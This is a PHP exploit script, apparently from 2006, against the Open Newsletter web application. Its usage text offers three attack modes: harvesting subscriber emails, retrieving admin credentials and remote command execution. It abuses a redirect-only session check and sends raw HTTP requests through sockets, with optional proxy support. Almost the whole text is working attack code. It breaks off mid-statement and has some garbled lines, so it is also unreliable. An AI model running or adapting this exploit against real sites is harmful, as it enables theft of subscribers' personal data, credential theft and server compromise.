#!/usr/bin/php -q -d short_open_tag=on \r\n"; echo "Thanks to rgod for the php code and Marty for the Love\r\n\r\n"; if ($argc<4) { echo "Usage: php ".$argv[0]." Site Path AttackType Related\r\n"; echo "Host: target server (ip/hostname)\r\n"; echo "Path: path to Open Newsletter\r\n"; echo "AttackType: 1 - Subscribers Email retrieve\r\n"; echo " |-> Related: None\r\n"; echo " |-> Es: php ".$argv[0]." localhost /opnletter/ 1\r\n\r\n"; echo " 2 - Credential Retrieve\r\n"; echo " |-> Related: None\r\n"; echo " |-> Es: php ".$argv[0]." localhost /opnletter/ 2\r\n\r\n"; echo " 3 - Remote Command Execution\r\n"; echo " |-> Related: None\r\n"; echo " |-> Es: php ".$argv[0]." localhost /opnletter/ 3 dir\r\n\r\n"; echo "\r\n"; echo ""; die; } /* --- Ver 1.1 - fixed for mq=on --- Some one told me that this was absolutely a very good scritp.. i think that the programmer nearly do not know PHP.. why? this is the only protection for admin files: ------------------------------------ session_start(); if($_SESSION["valid"] != true) { header("Location: index.php"); } ------------------------------------ do you remember that this one will only 'work' with normal browsers? that the script will continue to be executed until the end? this exploit only works with the conseguence of this.. Started programming: 18.31 22/12/2006 Ended: 19.39 22/12/2006 Merry Xmas and a happy new Hacking Year ^_^ BlackHawk PS: have some spear time? the 01/01 send me 'happy birthdate' emails ^_* */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $attack_type=$argv[3]; $port=80; $proxy=""; if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} switch($attack_type) { case 1: //Email Retrieve echo "Attack No 1 - Subscribers Email Retrieve\r\n"; echo "-- Start of Result--\r\n"; $packet ="GET ".$p."subscribers.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); $dopo_campo = explode("",$dopo_campo[1]); $emails = str_replace("